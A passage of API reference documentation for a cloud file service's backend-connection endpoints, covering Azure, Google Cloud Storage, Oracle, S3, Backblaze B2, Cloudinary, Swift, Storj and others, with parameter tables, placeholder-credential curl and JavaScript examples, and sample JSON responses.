| `disable_instance_discovery` | boolean | No | `false` | Skip Microsoft Entra instance metadata lookup (use for disconnected clouds). |
| `encoding` | string | No | `"21078018"` | Backend encoding. |
| `endpoint` | string | No | `""` | Endpoint for the service. Leave blank normally. |
| `env_auth` | boolean | No | `false` | Read credentials from environment variables, CLI, or MSI. |
| `key` | string | No | `""` | Storage Account Shared Key. Leave blank to use SAS URL or Emulator. |
| `list_chunk` | integer | No | `5000` | Maximum number of blobs per listing request. |
| `memory_pool_flush_time` | integer | No | `60` | Internal memory buffer pool flush time in seconds (deprecated). |
| `memory_pool_use_mmap` | boolean | No | `false` | Use mmap buffers in internal memory pool (deprecated). |
| `msi_client_id` | string | No | `""` | Client ID of the user-assigned MSI. |
| `msi_mi_res_id` | string | No | `""` | Azure resource ID of the user-assigned MSI. |
| `msi_object_id` | string | No | `""` | Object ID of the user-assigned MSI. |
| `no_check_container` | boolean | No | `false` | Don't check or create the container. |
| `no_head_object` | boolean | No | `false` | Skip HEAD before GET on object reads. |
| `password` | string | No | `""` | User password (user/password auth). |
| `public_access` | string | No | `""` | Public access level for the container. One of `""`, `"blob"`, `"container"`. |
| `sas_url` | string | No | `""` | SAS URL for container-level access. |
| `service_principal_file` | string | No | `""` | Path to a service principal credentials JSON file. |
| `tenant` | string | No | `""` | Service principal tenant ID. |
| `upload_concurrency` | integer | No | `16` | Number of chunks uploaded concurrently per file. |
| `upload_cutoff` | string | No | `""` | Cutoff for switching to chunked upload (deprecated). |
| `use_az` | boolean | No | `false` | Authenticate using the Azure CLI `az` tool. |
| `use_emulator` | boolean | No | `false` | Use the local Azure Storage Emulator. |
| `use_msi` | boolean | No | `false` | Use a managed service identity to authenticate. |
| `username` | string | No | `""` | Username (usually an email) for user/password auth. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/azureblob \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "account": "mystorageaccount",
    "key": "EXAMPLEKEY==",
    "description": "Production blob storage"
  }'
```


```js
await client.files.backends.connectAzureblob({
  account: "mystorageaccount",
  key: "EXAMPLEKEY==",
  description: "Production blob storage"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_8a7b9c0d1e2f3a4b",
    "backend_type": "azureblob",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Invalid storage account credentials"
}
```



### `POST /api/v1/backends/azurefiles`

Microsoft Azure Files. SMB-compatible file shares with the same authentication options as Azure Blob.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `account` | string | No | `""` | Azure Storage Account Name. |
| `chunk_size` | string | No | `"4194304"` | Upload chunk size in bytes. |
| `client_certificate_password` | string | No | `""` | Password for the certificate file. |
| `client_certificate_path` | string | No | `""` | Path to a PEM or PKCS12 certificate file. |
| `client_id` | string | No | `""` | Client ID for service principal or user authentication. |
| `client_secret` | string | No | `""` | Service principal client secret. |
| `client_send_certificate_chain` | boolean | No | `false` | Send the x5c certificate chain header. |
| `connection_string` | string | No | `""` | Azure Files connection string. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"54634382"` | Backend encoding. |
| `endpoint` | string | No | `""` | Endpoint for the service. |
| `env_auth` | boolean | No | `false` | Read credentials from the environment. |
| `key` | string | No | `""` | Storage Account Shared Key. |
| `max_stream_size` | string | No | `"10737418240"` | Max size for streamed files (10 GiB). |
| `msi_client_id` | string | No | `""` | Client ID of the user-assigned MSI. |
| `msi_mi_res_id` | string | No | `""` | Azure resource ID of the user-assigned MSI. |
| `msi_object_id` | string | No | `""` | Object ID of the user-assigned MSI. |
| `password` | string | No | `""` | User password for user/password auth. |
| `sas_url` | string | No | `""` | SAS URL. |
| `service_principal_file` | string | No | `""` | Path to a service principal credentials JSON file. |
| `share_name` | string | No | `""` | Azure Files share name (required to access the share). |
| `tenant` | string | No | `""` | Service principal tenant ID. |
| `upload_concurrency` | integer | No | `16` | Number of chunks uploaded concurrently per file. |
| `use_msi` | boolean | No | `false` | Use a managed service identity to authenticate. |
| `username` | string | No | `""` | Username for user/password auth. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/azurefiles \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "account": "mystorageaccount",
    "share_name": "myshare",
    "key": "EXAMPLEKEY=="
  }'
```


```js
await client.files.backends.connectAzurefiles({
  account: "mystorageaccount",
  share_name: "myshare",
  key: "EXAMPLEKEY=="
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_2c4d6e8f0a1b3c5d",
    "backend_type": "azurefiles",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Could not access share 'myshare' on account 'mystorageaccount'"
}
```



### `POST /api/v1/backends/google-cloud-storage`

Google Cloud Storage. Supports service account credentials, OAuth, and anonymous public-bucket access. This is **not** Google Drive.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `access_token` | string | No | `""` | Short-lived access token. |
| `anonymous` | boolean | No | `false` | Access public buckets and objects without credentials. |
| `auth_url` | string | No | `""` | Auth server URL override. |
| `bucket_acl` | string | No | `""` | ACL for new buckets. One of `authenticatedRead`, `private`, `projectPrivate`, `publicRead`, `publicReadWrite`. |
| `bucket_policy_only` | boolean | No | `false` | Use bucket-level IAM policies only. |
| `client_credentials` | boolean | No | `false` | Use OAuth2 client credentials flow. |
| `client_id` | string | No | `""` | OAuth client ID. |
| `client_secret` | string | No | `""` | OAuth client secret. |
| `decompress` | boolean | No | `false` | Decompress gzip-encoded objects on download. |
| `description` | string | No | `""` | Description of the remote. |
| `directory_markers` | boolean | No | `false` | Persist empty folders with marker objects. |
| `encoding` | string | No | `"50348034"` | Backend encoding. |
| `endpoint` | string | No | `""` | Endpoint for the service. |
| `env_auth` | boolean | No | `false` | Get IAM credentials from the environment. |
| `location` | string | No | `""` | Location for newly created buckets. One of the supported GCS regions (e.g. `us`, `eu`, `asia`, `us-central1`, `europe-west1`, etc.). |
| `no_check_bucket` | boolean | No | `false` | Skip checking or creating the bucket. |
| `object_acl` | string | No | `""` | ACL for new objects. One of `authenticatedRead`, `bucketOwnerFullControl`, `bucketOwnerRead`, `private`, `projectPrivate`, `publicRead`. |
| `project_number` | string | No | `""` | GCP project number (for bucket list/create/delete). |
| `service_account_credentials` | string | No | `""` | Service account credentials JSON blob. |
| `service_account_file` | string | No | `""` | Path to a service account credentials JSON file. |
| `storage_class` | string | No | `""` | Storage class for new objects. One of `""`, `MULTI_REGIONAL`, `REGIONAL`, `NEARLINE`, `COLDLINE`, `ARCHIVE`, `DURABLE_REDUCED_AVAILABILITY`. |
| `token` | string | No | `""` | OAuth access token as a JSON blob. |
| `token_url` | string | No | `""` | Token server URL override. |
| `user_project` | string | No | `""` | User project (for requester-pays buckets). |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/google-cloud-storage \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "service_account_file": "/etc/hoody/gcs-sa.json",
    "project_number": "123456789012",
    "location": "us-central1"
  }'
```


```js
await client.files.backends.connectGoogleCloudStorage({
  service_account_file: "/etc/hoody/gcs-sa.json",
  project_number: "123456789012",
  location: "us-central1"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_5e6f7a8b9c0d1e2f",
    "backend_type": "google cloud storage",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Failed to load service account credentials from /etc/hoody/gcs-sa.json"
}
```



### `POST /api/v1/backends/oracleobjectstorage`

Oracle Cloud Infrastructure Object Storage. Supports instance principals, user principals, workload identity, and resource principals.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `attempt_resume_upload` | boolean | No | `false` | Attempt to resume previously started multipart uploads. |
| `chunk_size` | string | No | `"5242880"` | Upload chunk size in bytes. |
| `compartment` | string | No | `""` | Compartment OCID (required only to list buckets). |
| `config_file` | string | No | `"~/.oci/config"` | Path to the OCI config file. |
| `config_profile` | string | No | `"Default"` | Profile name inside the OCI config file. |
| `copy_cutoff` | string | No | `"4999610368"` | Cutoff (in bytes) for switching to multipart copy. |
| `copy_timeout` | integer | No | `60` | Timeout for async copy operations in seconds. |
| `description` | string | No | `""` | Description of the remote. |
| `disable_checksum` | boolean | No | `false` | Skip MD5 checksum calculation before upload. |
| `encoding` | string | No | `"50331650"` | Backend encoding. |
| `endpoint` | string | No | `""` | Object storage API endpoint. |
| `leave_parts_on_error` | boolean | No | `false` | Leave successfully uploaded parts on error for manual recovery. |
| `max_upload_parts` | integer | No | `10000` | Maximum number of parts in a multipart upload. |
| `namespace` | string | **Yes** | `""` | Object storage namespace. |
| `no_check_bucket` | boolean | No | `false` | Skip checking or creating the bucket. |
| `provider` | string | **Yes** | `"env_auth"` | Authentication provider. One of `env_auth`, `user_principal_auth`, `instance_principal_auth`, `workload_identity_auth`, `resource_principal_auth`, `no_auth`. |
| `region` | string | **Yes** | `""` | Object storage region. |
| `sse_customer_algorithm` | string | No | `""` | SSE-C algorithm. One of `""`, `AES256`. |
| `sse_customer_key` | string | No | `""` | SSE-C base64-encoded 256-bit key. |
| `sse_customer_key_file` | string | No | `""` | Path to a file containing the SSE-C key. |
| `sse_customer_key_sha256` | string | No | `""` | Base64-encoded SHA256 hash of the SSE-C key. |
| `sse_kms_key_id` | string | No | `""` | OCID of a KMS master encryption key. |
| `storage_tier` | string | No | `"Standard"` | Storage class. One of `Standard`, `InfrequentAccess`, `Archive`. |
| `upload_concurrency` | integer | No | `10` | Number of chunks uploaded concurrently per file. |
| `upload_cutoff` | string | No | `"209715200"` | Cutoff (in bytes) for switching to chunked upload. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/oracleobjectstorage \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "provider": "user_principal_auth",
    "namespace": "id3nxb4ktwxa",
    "region": "us-phoenix-1",
    "compartment": "ocid1.compartment.oc1..aaaaaaaabcdefghijk"
  }'
```


```js
await client.files.backends.connectOracleobjectstorage({
  provider: "user_principal_auth",
  namespace: "id3nxb4ktwxa",
  region: "us-phoenix-1",
  compartment: "ocid1.compartment.oc1..aaaaaaaabcdefghijk"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_1a2b3c4d5e6f7a8b",
    "backend_type": "oracleobjectstorage",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Authentication failed: OCI config file not found"
}
```



## S3 and S3-Compatible Storage

### `POST /api/v1/backends/s3`

Amazon S3 and S3-compatible storage. Supports AWS, Alibaba, ArvanCloud, Ceph, ChinaMobile, Cloudflare, DigitalOcean, Dreamhost, GCS (S3 interop), HuaweiOBS, IBMCOS, IDrive, IONOS, LyveCloud, Leviia, Liara, Linode, Magalu, Minio, Netease, Outscale, Petabox, RackCorp, Hoody-VFS, Scaleway, SeaweedFS, Selectel, StackPath, Storj, Synology, TencentCOS, Wasabi, Qiniu, and others.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `access_key_id` | string | No | `""` | AWS Access Key ID. |
| `acl` | string | No | `""` | Canned ACL for new objects. One of `default`, `private`, `public-read`, `public-read-write`, `authenticated-read`, `bucket-owner-read`, `bucket-owner-full-control`. |
| `bucket_acl` | string | No | `""` | Canned ACL for new buckets. One of `private`, `public-read`, `public-read-write`, `authenticated-read`. |
| `chunk_size` | string | No | `"5242880"` | Upload chunk size in bytes. |
| `copy_cutoff` | string | No | `"4999610368"` | Cutoff (in bytes) for switching to multipart copy. |
| `decompress` | boolean | No | `false` | Decompress gzip-encoded objects on download. |
| `description` | string | No | `""` | Description of the remote. |
| `directory_bucket` | boolean | No | `false` | Use AWS Directory Buckets. |
| `directory_markers` | boolean | No | `false` | Persist empty folders with marker objects. |
| `disable_checksum` | boolean | No | `false` | Skip MD5 checksum calculation. |
| `disable_http2` | boolean | No | `false` | Disable HTTP/2 for the S3 backend. |
| `download_url` | string | No | `""` | Custom CDN endpoint for downloads. |
| `encoding` | string | No | `"50331650"` | Backend encoding. |
| `endpoint` | string | **Yes** | `""` | S3 API endpoint. One of the preset provider endpoints (e.g. `s3.us-east-1.amazonaws.com`, `nyc3.digitaloceanspaces.com`, `localhost:8333`) or a custom value. |
| `env_auth` | boolean | No | `false` | Get AWS credentials from the environment. |
| `force_path_style` | boolean | No | `true` | Use path-style access (vs virtual hosted style). |
| `leave_parts_on_error` | boolean | No | `false` | Leave uploaded parts on error for manual recovery. |
| `list_chunk` | integer | No | `1000` | Listing chunk size (MaxKeys). |
| `list_url_encode` | string | No | unset | URL-encode listings: `true`, `false`, or unset. |
| `list_version` | integer | No | `0` | ListObjects version: `1`, `2`, or `0` for auto. |
| `location_constraint` | string | No | `""` | Location constraint matching the region (for bucket creation). |
| `max_upload_parts` | integer | No | `10000` | Maximum number of multipart upload parts. |
| `memory_pool_flush_time` | integer | No | `60` | Internal memory pool flush time in seconds (deprecated). |
| `memory_pool_use_mmap` | boolean | No | `false` | Use mmap buffers in internal memory pool (deprecated). |
| `might_gzip` | string | No | unset | Backend may gzip objects: `true`, `false`, or unset. |
| `no_check_bucket` | boolean | No | `false` | Skip checking or creating the bucket. |
| `no_head` | boolean | No | `false` | Skip HEAD verification after upload. |
| `no_head_object` | boolean | No | `false` | Skip HEAD before GET on object reads. |
| `no_system_metadata` | boolean | No | `false` | Suppress setting and reading of system metadata. |
| `profile` | string | No | `""` | Profile to use in the shared credentials file. |
| `provider` | string | No | `""` | S3 provider preset. One of `AWS`, `Alibaba`, `ArvanCloud`, `Ceph`, `ChinaMobile`, `Cloudflare`, `DigitalOcean`, `Dreamhost`, `GCS`, `HuaweiOBS`, `IBMCOS`, `IDrive`, `IONOS`, `LyveCloud`, `Leviia`, `Liara`, `Linode`, `Magalu`, `Minio`, `Netease`, `Outscale`, `Petabox`, `RackCorp`, `Hoody-VFS`, `Scaleway`, `SeaweedFS`, `Selectel`, `StackPath`, `Storj`, `Synology`, `TencentCOS`, `Wasabi`, `Qiniu`, `Other`. |
| `region` | string | No | `""` | Region to connect to. One of `""`, `other-v2-signature`. |
| `requester_pays` | boolean | No | `false` | Enable the requester-pays option for the bucket. |
| `sdk_log_mode` | string | No | `"0"` | SDK debug log mode (e.g. `Signing`, `Request`, `All`, `Off`). |
| `secret_access_key` | string | No | `""` | AWS Secret Access Key. |
| `server_side_encryption` | string | No | `""` | SSE algorithm. One of `""`, `AES256`, `aws:kms`. |
| `session_token` | string | No | `""` | AWS session token. |
| `shared_credentials_file` | string | No | `""` | Path to the shared credentials file. |
| `sse_customer_algorithm` | string | No | `""` | SSE-C algorithm. One of `""`, `AES256`. |
| `sse_customer_key` | string | No | `""` | SSE-C encryption key. |
| `sse_customer_key_base64` | string | No | `""` | SSE-C base64-encoded key. |
| `sse_customer_key_md5` | string | No | `""` | SSE-C key MD5 checksum. |
| `sse_kms_key_id` | string | No | `""` | KMS key ARN. |
| `storage_class` | string | No | `""` | Storage class. One of `STANDARD`, `LINE`, `GLACIER`, `DEEP_ARCHIVE`. |
| `sts_endpoint` | string | No | `""` | STS endpoint (deprecated). |
| `upload_concurrency` | integer | No | `4` | Number of chunks uploaded concurrently per file. |
| `upload_cutoff` | string | No | `"209715200"` | Cutoff (in bytes) for switching to chunked upload. |
| `use_accelerate_endpoint` | boolean | No | `false` | Use the AWS S3 Transfer Acceleration endpoint. |
| `use_accept_encoding_gzip` | string | No | unset | Send `Accept-Encoding: gzip` header: `true`, `false`, or unset. |
| `use_already_exists` | string | No | unset | Report `BucketAlreadyExists` on bucket creation: `true`, `false`, or unset. |
| `use_dual_stack` | boolean | No | `false` | Use the AWS S3 dual-stack endpoint (IPv6). |
| `use_multipart_etag` | string | No | unset | Use ETag verification in multipart uploads: `true`, `false`, or unset. |
| `use_multipart_uploads` | string | No | unset | Use multipart uploads: `true`, `false`, or unset. |
| `use_presigned_request` | boolean | No | `false` | Use a presigned URL for single-part uploads. |
| `use_unsigned_payload` | string | No | unset | Use an unsigned payload for `PutObject`: `true`, `false`, or unset. |
| `v2_auth` | boolean | No | `false` | Use v2 authentication (legacy). |
| `version_at` | string | No | `"0001-01-01T00:00:00Z"` | Show file versions as they were at the specified time. |
| `version_deleted` | boolean | No | `false` | Show deleted file markers when using versions. |
| `versions` | boolean | No | `false` | Include old versions in directory listings. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/s3 \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "provider": "AWS",
    "access_key_id": "AKIAIOSFODNN7EXAMPLE",
    "secret_access_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "region": "us-east-1",
    "endpoint": "s3.us-east-1.amazonaws.com"
  }'
```


```js
await client.files.backends.connectS3({
  provider: "AWS",
  access_key_id: "AKIAIOSFODNN7EXAMPLE",
  secret_access_key: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  region: "us-east-1",
  endpoint: "s3.us-east-1.amazonaws.com"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_9c0d1e2f3a4b5c6d",
    "backend_type": "s3",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Invalid AWS credentials"
}
```



### `POST /api/v1/backends/b2`

Backblaze B2 cloud storage. Requires an Account ID/Application Key ID and Application Key.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `account` | string | **Yes** | `""` | Account ID or Application Key ID. |
| `key` | string | **Yes** | `""` | Application Key. |
| `chunk_size` | string | No | `"100663296"` | Upload chunk size in bytes (minimum 5,000,000). |
| `copy_cutoff` | string | No | `"4294967296"` | Cutoff (in bytes) for multipart copy. |
| `description` | string | No | `""` | Description of the remote. |
| `disable_checksum` | boolean | No | `false` | Skip SHA1 checksum calculation for large files. |
| `download_auth_duration` | integer | No | `604800` | Public link authorization token lifetime in seconds (max one week). |
| `download_url` | string | No | `""` | Custom endpoint for downloads (e.g. Cloudflare CDN). |
| `encoding` | string | No | `"50438146"` | Backend encoding. |
| `endpoint` | string | No | `""` | Endpoint for the service. |
| `hard_delete` | boolean | No | `false` | Permanently delete files on remote removal. |
| `lifecycle` | integer | No | `0` | Days deleted files are retained when creating a bucket. |
| `memory_pool_flush_time` | integer | No | `60` | Internal memory pool flush time in seconds (deprecated). |
| `memory_pool_use_mmap` | boolean | No | `false` | Use mmap buffers in internal memory pool (deprecated). |
| `test_mode` | string | No | `""` | X-Bz-Test-Mode flag for debugging (`fail_some_uploads`, `expire_some_account_authorization_tokens`, `force_cap_exceeded`). |
| `upload_concurrency` | integer | No | `4` | Number of chunks uploaded concurrently per file. |
| `upload_cutoff` | string | No | `"209715200"` | Cutoff (in bytes) for chunked upload (max 4.657 GiB). |
| `version_at` | string | No | `"0001-01-01T00:00:00Z"` | Show file versions as they were at the specified time. |
| `versions` | boolean | No | `false` | Include old versions in directory listings. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/b2 \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "account": "005a0b6c0b0a1b2c3d4e5f60",
    "key": "K005aAbCdEfGhIjKlMnOpQrStUvWxYz",
    "description": "Backblaze backup bucket"
  }'
```


```js
await client.files.backends.connectB2({
  account: "005a0b6c0b0a1b2c3d4e5f60",
  key: "K005aAbCdEfGhIjKlMnOpQrStUvWxYz",
  description: "Backblaze backup bucket"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_3e4f5a6b7c8d9e0f",
    "backend_type": "b2",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Backblaze authentication failed: invalid application key"
}
```



### `POST /api/v1/backends/qingstor`

QingCloud Object Storage. Supports zones `pek3a`, `sh1a`, and `gd2a`.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `access_key_id` | string | No | `""` | QingStor Access Key ID. |
| `secret_access_key` | string | No | `""` | QingStor Secret Access Key. |
| `endpoint` | string | No | `""` | QingStor API endpoint. |
| `zone` | string | No | `""` | Zone to connect to. One of `pek3a`, `sh1a`, `gd2a`. |
| `chunk_size` | string | No | `"4194304"` | Upload chunk size in bytes. |
| `upload_concurrency` | integer | No | `1` | Multipart upload concurrency (values &gt; 1 corrupt multipart checksums). |
| `upload_cutoff` | string | No | `"209715200"` | Cutoff (in bytes) for chunked upload (max 5 GiB). |
| `connection_retries` | integer | No | `3` | Number of connection retries. |
| `env_auth` | boolean | No | `false` | Read credentials from the environment. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"16842754"` | Backend encoding. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/qingstor \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "access_key_id": "QINGSTOR_ACCESS_KEY",
    "secret_access_key": "QINGSTOR_SECRET_KEY",
    "zone": "pek3a"
  }'
```


```js
await client.files.backends.connectQingstor({
  access_key_id: "QINGSTOR_ACCESS_KEY",
  secret_access_key: "QINGSTOR_SECRET_KEY",
  zone: "pek3a"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_4a5b6c7d8e9f0a1b",
    "backend_type": "qingstor",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Invalid QingStor credentials"
}
```



### `POST /api/v1/backends/cloudinary`

Cloudinary media management platform. Provides three required fields: `cloud_name`, `api_key`, and `api_secret`.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `cloud_name` | string | **Yes** | `""` | Cloudinary environment name. |
| `api_key` | string | **Yes** | `""` | Cloudinary API key. |
| `api_secret` | string | **Yes** | `""` | Cloudinary API secret. |
| `upload_preset` | string | No | `""` | Upload preset for asset manipulation on upload. |
| `upload_prefix` | string | No | `""` | API endpoint override for non-US environments. |
| `eventually_consistent_delay` | integer | No | `0` | Wait this many seconds for eventual consistency. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"52543246"` | Backend encoding. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/cloudinary \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "cloud_name": "my-cloud",
    "api_key": "123456789012345",
    "api_secret": "abcdefghijklmnopqrstuvwxyz12"
  }'
```


```js
await client.files.backends.connectCloudinary({
  cloud_name: "my-cloud",
  api_key: "123456789012345",
  api_secret: "abcdefghijklmnopqrstuvwxyz12"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_6b7c8d9e0f1a2b3c",
    "backend_type": "cloudinary",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Cloudinary authentication failed"
}
```



### `POST /api/v1/backends/imagekit`

ImageKit.io media management platform. Requires endpoint URL, public key, and private key from your ImageKit dashboard.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `endpoint` | string | **Yes** | `""` | ImageKit.io URL endpoint. |
| `public_key` | string | **Yes** | `""` | ImageKit.io public key. |
| `private_key` | string | **Yes** | `""` | ImageKit.io private key. |
| `only_signed` | boolean | No | `false` | Set to `true` if `Restrict unsigned image URLs` is enabled in the dashboard. |
| `upload_tags` | string | No | `""` | Tags applied to uploaded files (comma-separated). |
| `versions` | boolean | No | `false` | Include old versions in directory listings. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"117553486"` | Backend encoding. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/imagekit \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "endpoint": "https://ik.imagekit.io/myid",
    "public_key": "public_xxx",
    "private_key": "private_yyy"
  }'
```


```js
await client.files.backends.connectImagekit({
  endpoint: "https://ik.imagekit.io/myid",
  public_key: "public_xxx",
  private_key: "private_yyy"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_7c8d9e0f1a2b3c4d",
    "backend_type": "imagekit",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "ImageKit authentication failed"
}
```



## OpenStack and Enterprise

### `POST /api/v1/backends/swift`

OpenStack Swift, including Rackspace Cloud Files, Blomp Cloud Storage, Memset Memstore, and OVH.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `user` | string | No | `""` | Username (OS_USERNAME). |
| `key` | string | No | `""` | API key or password (OS_PASSWORD). |
| `auth` | string | No | `""` | Auth URL. One of the preset provider URLs (e.g. `https://auth.api.rackspacecloud.com/v1.0`, `https://auth.cloud.ovh.net/v3`). |
| `auth_version` | integer | No | `0` | Auth version (`1`, `2`, or `3`) if the auth URL has none. |
| `auth_token` | string | No | `""` | Auth token from alternate authentication (OS_AUTH_TOKEN). |
| `tenant` | string | No | `""` | Tenant name (OS_TENANT_NAME or OS_PROJECT_NAME). |
| `tenant_id` | string | No | `""` | Tenant ID (OS_TENANT_ID). |
| `tenant_domain` | string | No | `""` | Tenant domain (OS_PROJECT_DOMAIN_NAME) for v3 auth. |
| `domain` | string | No | `""` | User domain (OS_USER_DOMAIN_NAME) for v3 auth. |
| `user_id` | string | No | `""` | User ID for v3 auth (OS_USER_ID). |
| `application_credential_id` | string | No | `""` | Application credential ID. |
| `application_credential_name` | string | No | `""` | Application credential name. |
| `application_credential_secret` | string | No | `""` | Application credential secret. |
| `storage_url` | string | No | `""` | Storage URL (OS_STORAGE_URL). |
| `region` | string | No | `""` | Region name (OS_REGION_NAME). |
| `endpoint_type` | string | No | `"public"` | Endpoint type. One of `public`, `internal`, `admin`. |
| `storage_policy` | string | No | `""` | Storage policy for new containers. One of `""`, `pcs`, `pca`. |
| `chunk_size` | string | No | `"5368709120"` | Files above this size (in bytes) will be chunked. |
| `no_chunk` | boolean | No | `false` | Don't chunk files during streaming upload. |
| `no_large_objects` | boolean | No | `false` | Disable static and dynamic large object support. |
| `leave_parts_on_error` | boolean | No | `false` | Leave successfully uploaded parts on error. |
| `use_segments_container` | string | No | unset | Store segment chunks in a `_segments` container (`true`/`false`/unset). |
| `fetch_until_empty_page` | boolean | No | `false` | Always fetch additional pagination pages. |
| `partial_page_fetch_threshold` | integer | No | `0` | Fetch if the current page is within this percentage of the limit. |
| `env_auth` | boolean | No | `false` | Read Swift credentials from environment variables. |
| `description` | string | No | `""` | Description of the remote. |
| `encoding` | string | No | `"16777218"` | Backend encoding. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/swift \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "user": "admin",
    "key": "secret-password",
    "auth": "https://auth.cloud.ovh.net/v3",
    "tenant": "1234567890123456",
    "region": "GRA1"
  }'
```


```js
await client.files.backends.connectSwift({
  user: "admin",
  key: "secret-password",
  auth: "https://auth.cloud.ovh.net/v3",
  tenant: "1234567890123456",
  region: "GRA1"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_8d9e0f1a2b3c4d5e",
    "backend_type": "swift",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "OpenStack authentication request failed"
}
```



### `POST /api/v1/backends/netstorage`

Akamai NetStorage. Requires the host, account, and secret (G2O key).

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `host` | string | **Yes** | `""` | NetStorage host in `&lt;domain&gt;/<internal folders>` format. |
| `account` | string | **Yes** | `""` | NetStorage account name. |
| `secret` | string | **Yes** | `""` | NetStorage account secret / G2O key. |
| `protocol` | string | No | `"https"` | Protocol: `http` or `https`. |
| `description` | string | No | `""` | Description of the remote. |



```bash
curl -X POST https://api.hoody.com/api/v1/backends/netstorage \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "host": "example.akamaihd.net/1234/cpcode",
    "account": "myaccount",
    "secret": "G2O-SECRET-KEY"
  }'
```


```js
await client.files.backends.connectNetstorage({
  host: "example.akamaihd.net/1234/cpcode",
  account: "myaccount",
  secret: "G2O-SECRET-KEY"
});
```


```json
{
  "success": true,
  "message": "Backend connected successfully",
  "data": {
    "id": "bck_9e0f1a2b3c4d5e6f",
    "backend_type": "netstorage",
    "type": "object_storage",
    "mount_paths": []
  }
}
```


```json
{
  "success": false,
  "error": "Could not authenticate with the provided NetStorage credentials"
}
```



## Decentralized and Archive Storage

### `POST /api/v1/backends/storj`

Storj Decentralized Cloud Storage. Supports authentication via access grant or via API key + passphrase.

This endpoint takes no parameters.

#### Request Body

| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `provider` | string | No | `"existing"` | Authentication method. One of `existing`, `new`. |
| `satellite_address` | string | No | `"us1.storj.io"` | Satellite address. One of `us1.storj.io`, `eu1.storj.io`, `ap1.storj.io` (or a custom `<nodeid>@&lt;host&gt;:&lt;port&gt;`). |
| `api_key` | string | No | `""` | API key (used with the `new` provider). |
| `passphrase` | string | No | `""` | Encryption passphrase (used with the `new` provider). |
| `access_grant` | string | No | `""` | Pre-existing access grant. |
| `description` | string | No | `""` | Description of the remote. |



